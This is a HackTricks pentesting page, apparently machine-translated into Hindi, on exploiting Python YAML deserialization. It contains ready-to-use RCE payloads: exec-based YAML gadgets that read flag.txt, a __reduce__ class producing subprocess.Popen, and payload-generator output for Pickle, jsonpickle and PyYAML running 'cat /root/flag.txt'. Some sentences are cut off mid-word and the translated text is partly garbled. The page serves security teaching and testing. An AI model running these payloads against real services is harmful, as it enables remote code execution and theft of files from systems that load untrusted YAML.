hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

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# Yaml **डिसीरियलाइजेशन**

**Yaml** python पुस्तकालय भी **पायथन ऑब्जेक्ट्स को सिर्फ रॉ डेटा** के रूप में नहीं, सीरियलाइज करने में सक्षम है:
```
print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
जांचें कि **tuple** एक कच्चा प्रकार का डेटा नहीं है और इसलिए इसे **सिरीकरण** किया गया था। और यही हुआ **range** के साथ भी (builtins से लिया गया)।

![](<../../.gitbook/assets/image (628) (1).png>)

**safe\_load()** या **safe\_load\_all()** SafeLoader का उपयोग करते हैं और **क्लास ऑब्ज
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
पिछला कोड **unsafe\_load** का उपयोग करता था जो सीरीयलाइज्ड पायथन क्लास लोड करने के लिए किया गया था। यह इसलिए है क्योंकि **version >= 5.1** में, यह किसी भी सीरीयलाइज्ड पायथन क्लास या क्लास एट्रिब्यूट को **डीसीरियलाइज़** करने की अनुमति नहीं देता है, Loader not specified in load() or Loader=SafeLoader।

## मूल शोषण

**नींद लागू करने** के एक उदाहरण:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
## वंलरेबल .load("\<content>") लोड करने पर Loader के बिना

पुराने संस्करणों में pyyaml डेसीरियलाइजेशन हमलों के लिए वंलरेबल थे अगर आप कुछ लोड करते समय Loader स्पष्ट नहीं किया: `yaml.load(data)`

आप यहाँ [**वंलरेबिलिटी का विवरण पा सकते हैं**](https://hackmd.io/@defund/HJZajCVlP)**.** उस पृष्ठ में प्रस्तावित **एक्स्प्लॉइट** है:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
या आप इस **वन-लाइनर का उपयोग भी कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है**:
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
नोट करें कि **हाल के संस्करणों** में आप **अब `.load()` को नहीं कह सकते** हैं बिना **`Loader`** और **`FullLoader`** इस हमले के लिए **अब असंरक्षित** नहीं है।

# RCE

कस्टम payloads को बनाने के लिए Python YAML modules जैसे **PyYAML** या **ruamel.yaml** का उपयोग किया जा सकता है। ये payloads उन systems में दोषों का शोषण कर सकते हैं जो अविश्वसनीय इनपुट को उचित सेनिटाइजेशन के बिना डिसीरियलाइज़ करते हैं।
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
## उपकरण पेयलोड बनाने के लिए

यह उपकरण [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) का उपयोग किया जा सकता है ताकि **Pickle, PyYAML, jsonpickle और ruamel.yaml** का दुरुपयोग करने के लिए पायथन डिसीरियलाइज़ेशन पेयलोड उत्पन्न किया जा सके:
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
## संदर्भ

* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)


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